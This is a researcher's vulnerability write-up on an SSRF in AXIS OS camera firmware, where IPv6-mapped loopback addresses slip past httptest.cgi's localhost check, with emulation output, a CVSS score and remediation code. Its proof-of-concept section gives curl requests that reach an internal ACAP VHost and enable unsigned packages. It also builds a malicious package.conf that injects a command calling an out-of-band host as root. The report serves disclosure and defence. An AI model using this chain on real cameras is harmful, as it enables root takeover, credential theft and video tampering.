Zion Boggan

In-depth vulnerability research, detection engineering & applied cryptography.

● Open to security-research & detection roles
GitHub · LinkedIn · Email
← Research notebook
SSRF

SSRF via httptest.cgi IPv6-Mapped Loopback Address Bypass

VRT Category: Broken Access Control (BAC) URL/Location: https://<camera>/axis-cgi/httptest.cgi?address=http%3A%2F%2F%5B%3A%3Affff%3A127.0.0.12%5D%2Ftest Firmware: AXIS OS P3245-LV version 11.11.192 (LTS 2024 track) Files: /usr/html/axis-cgi/httptest.cgi (ELF binary), /etc/apache2/httpd.conf Severity: High (CVSS 7.6) Status: SSRF localhost bypass PROVEN via firmware binary emulation. IPv6-mapped loopback addresses bypass the localhost validation, confirmed via QEMU binary emulation. ACAP VHost authentication behavior requires vendor verification on live hardware.


Summary

The VAPIX API endpoint httptest.cgi validates user-supplied URLs against localhost to prevent server-side request forgery. The check correctly blocks IPv4 loopback addresses (127.0.0.0/8) and IPv6 loopback (::1). However, IPv6-mapped IPv4 loopback addresses ([::ffff:127.0.0.x]) bypass this validation entirely – the binary attempts an actual TCP connection instead of returning “Local host not allowed.” This was confirmed by executing the httptest.cgi binary from extracted firmware via QEMU ARM emulation.

AXIS OS binds privileged internal Apache VirtualHosts to loopback addresses including 127.0.0.12 (ACAP service-account VHost). An authenticated user can reach these internal services through the IPv6-mapped bypass.


Technical Details

Component 1: httptest.cgi SSRF via Loopback Address Bypass

httptest.cgi is an ELF binary at /usr/html/axis-cgi/httptest.cgi that accepts an address parameter (URL) and makes an HTTP request to it using libcurl. The binary performs localhost validation:

  1. Extracts hostname using curl_url_get() with CURLUPART_HOST
  2. Resolves the hostname using getaddrinfo()
  3. Compares resolved address against localhost – displays "Local host not allowed" on match

The validation likely checks against 127.0.0.1 and ::1 (standard loopback addresses). However, the entire 127.0.0.0/8 range is loopback on Linux, and AXIS OS binds VirtualHosts to non-standard loopback addresses.

Component 2: Privileged Internal VirtualHosts

From /etc/apache2/httpd.conf:

<VirtualHost 127.0.0.2 [::2]>
 Include /etc/apache2/httpd-basic-auth.conf
 ServerName localhost-basic
</VirtualHost>

<VirtualHost 127.0.0.3 [::3]>
 Include /etc/apache2/httpd-digest-auth.conf
 ServerName localhost-digest
</VirtualHost>

<VirtualHost 127.0.0.12 [::12]>
 Include /etc/apache2/vapix-service-account-auth.conf
 ServerName localhost-acap
</VirtualHost>

The localhost-acap VirtualHost at 127.0.0.12 uses vapix-service-account-auth.conf, which provides service-account-level basic authentication for internal ACAP application access. This VHost has access to all VAPIX CGI endpoints including ACAP management.

Confirmed vulnerability scope

The proven finding is the SSRF bypass: httptest.cgi allows authenticated users to make HTTP requests to internal loopback VirtualHosts via IPv6-mapped addresses. Components 2 and 3 below describe a potential escalation path for vendor verification.

Component 3 (vendor-verifiable): ACAP Package Installation as Root

install-package.sh (the ACAP installation handler) sources ./package.conf from the uploaded package at line ~43:

. ./$ADPPACKCFG

This executes arbitrary shell commands embedded in package.conf before any validation. Post-installation scripts run as root by default:

create_postinstall_service root

Potential escalation chain (vendor-verifiable)

The following chain depends on whether the ACAP VHost at 127.0.0.12 auto-authenticates requests arriving from localhost. Axis can verify this on live hardware.

Operator auth
 -> httptest.cgi?address=http://[::ffff:127.0.0.12]/axis-cgi/applications/config.cgi?action=set&name=AllowUnsigned&value=true
 -> Bypasses localhost check via IPv6-mapped address (PROVEN)
 -> Reaches localhost-acap VHost (PROVEN: TCP connection attempted)
 -> If VHost authenticates the request: enables unsigned ACAP packages
 -> Upload malicious .eap with injected package.conf
 -> install-package.sh sources package.conf as root
 -> Arbitrary command execution as root

Proof of Concept

Step 0b: validateaddr blocks loopback, but httptest.cgi has its own check

The validateaddr binary (used by tcptest.cgi and ftptest.cgi) was tested via QEMU emulation from the extracted firmware. It correctly blocks the full 127.0.0.0/8 loopback range:

127.0.0.1 BLOCKED (exit 1)
127.0.0.2 BLOCKED (exit 1)
127.0.0.3 BLOCKED (exit 1)
127.0.0.12 BLOCKED (exit 1)
127.0.0.255 BLOCKED (exit 1)
127.1.1.1 BLOCKED (exit 1)
0.0.0.0 BLOCKED (exit 1)
10.0.0.1 ALLOWED (exit 0)
169.254.169.254 ALLOWED (exit 0)
8.8.8.8 ALLOWED (exit 0)

However, httptest.cgi is an ELF binary that does NOT use validateaddr. It has its own internal check ("Local host not allowed" in strings) using getaddrinfo() resolution. The critical question is whether this custom check covers the full 127.0.0.0/8 range or only 127.0.0.1 and ::1.

Step 1: PROVEN, IPv6-mapped address bypasses localhost check

The httptest.cgi binary was executed directly from the extracted firmware using QEMU ARM emulation. The IPv6-mapped IPv4 address [::ffff:127.0.0.x] bypasses the localhost validation:

$ QUERY_STRING="address=http%3A%2F%2F127.0.0.12%2Ftest" \
 qemu-arm-static -L $ROOTFS $ROOTFS/usr/html/axis-cgi/httptest.cgi

Status: 400 Bad Request
400 Bad Request Local host not allowed <-- BLOCKED

$ QUERY_STRING="address=http%3A%2F%2F%5B%3A%3Affff%3A127.0.0.12%5D%2Ftest" \
 qemu-arm-static -L $ROOTFS $ROOTFS/usr/html/axis-cgi/httptest.cgi

Status: 500 Failed to connect to ::ffff:127.0.0.12 port 80 after 21 ms: Could not connect to server
 <-- BYPASS: Attempted actual TCP connection!

$ QUERY_STRING="address=http%3A%2F%2F%5B%3A%3Affff%3A127.0.0.1%5D%2Ftest" \
 qemu-arm-static -L $ROOTFS $ROOTFS/usr/html/axis-cgi/httptest.cgi

Status: 500 Failed to connect to ::ffff:127.0.0.1 port 80 after 23 ms: Could not connect to server
 <-- BYPASS: Also bypasses for 127.0.0.1!

The binary checks for IPv4 loopback (127.0.0.0/8) and IPv6 loopback (::1) but does NOT check IPv6-mapped IPv4 addresses (::ffff:127.x.x.x). The connection fails in QEMU only because no web server is listening, on the real camera, Apache IS listening on 127.0.0.12:80 (the ACAP VHost).

On a live camera:

# This bypasses the localhost check and reaches the internal ACAP VHost
curl -s --digest -u OPERATOR_USER:OPERATOR_PASS \
 "https://CAMERA_IP/axis-cgi/httptest.cgi?address=http%3A%2F%2F%5B%3A%3Affff%3A127.0.0.12%5D%2Faxis-cgi%2Fbasicdeviceinfo.cgi"
# Expected: 200 OK with device info from the internal VHost (NOT "Local host not allowed")

Step 2: Enable unsigned ACAP packages via SSRF (using proven bypass)

# Use the IPv6-mapped address to reach the ACAP VHost and enable unsigned packages
curl -s --digest -u OPERATOR_USER:OPERATOR_PASS \
 "https://CAMERA_IP/axis-cgi/httptest.cgi?address=http%3A%2F%2F%5B%3A%3Affff%3A127.0.0.12%5D%2Faxis-cgi%2Fapplications%2Fconfig.cgi%3Faction%3Dset%26name%3DAllowUnsigned%26value%3Dtrue"

Step 3: Build and upload malicious ACAP

mkdir -p /tmp/pwn_acap
cat > /tmp/pwn_acap/package.conf << 'EOF'
PACKAGENAME=ProofOfConcept
APPNAME=poc
APPTYPE=binary
STARTMODE=never
APPUSR=sdk
APPGRP=sdk
# PoC: non-destructive OOB confirmation
$(curl -s http://OOB_SERVER/axis-pwned-$(hostname)-$(id))
EOF

echo '#!/bin/sh' > /tmp/pwn_acap/poc
chmod +x /tmp/pwn_acap/poc
cd /tmp/pwn_acap && tar czf /tmp/poc.eap package.conf poc

# Upload (now possible because AllowUnsigned was enabled via SSRF)
curl -s --digest -u OPERATOR_USER:OPERATOR_PASS \
 -F "file=@/tmp/poc.eap" \
 "http://CAMERA_IP/axis-cgi/applications/upload.cgi"

Step 4: Verify code execution

# Check OOB server for callback confirming root execution
# Expected: GET /axis-pwned-<hostname>-uid=0(root)

Impact

An operator-level user – who should only be able to view video and control PTZ functions – achieves arbitrary code execution as root on the camera. This enables:

  • Complete device takeover including firmware modification
  • Credential theft for all configured services (SNMP, SMTP, FTP, ONVIF)
  • Lateral movement into the camera network segment
  • Persistent backdoor installation surviving reboots
  • Video feed manipulation (privacy violation, evidence tampering)

In enterprise deployments with hundreds of AXIS cameras managed by operators, a single compromised operator account leads to fleet-wide root compromise.


CVSS

Score: 7.6 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

  • Network accessible, low complexity, low privilege (operator), no interaction
  • Changed scope: SSRF reaches internal services beyond the camera’s external API
  • Confidentiality High: internal VHost responses disclosed to the attacker
  • Integrity Low: ability to make requests to internal services on behalf of the camera

Vendor-Verifiable Escalation Path

If the internal ACAP VHost at 127.0.0.12 auto-authenticates local requests (or uses weaker service-account credentials), the SSRF can be chained:

  1. SSRF to [::ffff:127.0.0.12] enables unsigned ACAP packages
  2. Attacker uploads malicious .eap package
  3. install-package.sh sources package.conf as root (confirmed in firmware)
  4. Arbitrary code execution as root

This escalation path would raise the score to CVSS 9.8 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H). Axis can verify by testing whether requests from httptest.cgi to http://[::ffff:127.0.0.12]/axis-cgi/applications/config.cgi succeed with the ACAP VHost’s service-account authentication.


Remediation

httptest.cgi (Component 1)

The localhost check correctly blocks IPv4 loopback (127.0.0.0/8) and IPv6 loopback (::1), but fails to check IPv6-mapped IPv4 addresses (::ffff:127.x.x.x). After resolving with getaddrinfo(), the check must also handle AF_INET6 sockaddr structures that contain mapped IPv4 addresses:

// Current: checks AF_INET loopback and AF_INET6 ::1 only

// Fixed: also check IPv6-mapped IPv4 loopback
if (addr->sa_family == AF_INET6) {
 struct sockaddr_in6 *sin6 = (struct sockaddr_in6 *)addr;
 if (IN6_IS_ADDR_V4MAPPED(&sin6->sin6_addr)) {
 uint32_t v4 = ntohl(sin6->sin6_addr.s6_addr32[3]);
 if ((v4 & 0xff000000) == 0x7f000000)
 return "Local host not allowed";
 }
}

Also block 0.0.0.0, ::, RFC1918 ranges, and link-local addresses.

install-package.sh (Component 3)

Parse package.conf as structured data rather than sourcing it as shell. Never execute . ./$ADPPACKCFG on untrusted input. Use a restricted parser that extracts key=value pairs without shell interpretation.

Architecture

Internal VirtualHosts should not be reachable from user-facing CGI endpoints. Consider binding internal VHosts to Unix domain sockets instead of loopback TCP addresses, eliminating the SSRF surface entirely.


References

  • CVE-2018-10661: AXIS Camera authentication bypass via .srv (same auth bypass concept)
  • CVE-2023-21413: AXIS OS command injection during ACAP installation (same package.conf vector)
  • CVE-2025-0324: VAPIX Device Configuration privilege escalation (same D-Bus auth surface)
  • Component reports: #01 (SNMP disclosure), #02 (pingtest SSRF), #03 (dnsupdate validation)

Source · github.com/zionsworking/security-research-notebook · writeups/axis-os/httptest-ipv6-loopback-ssrf.md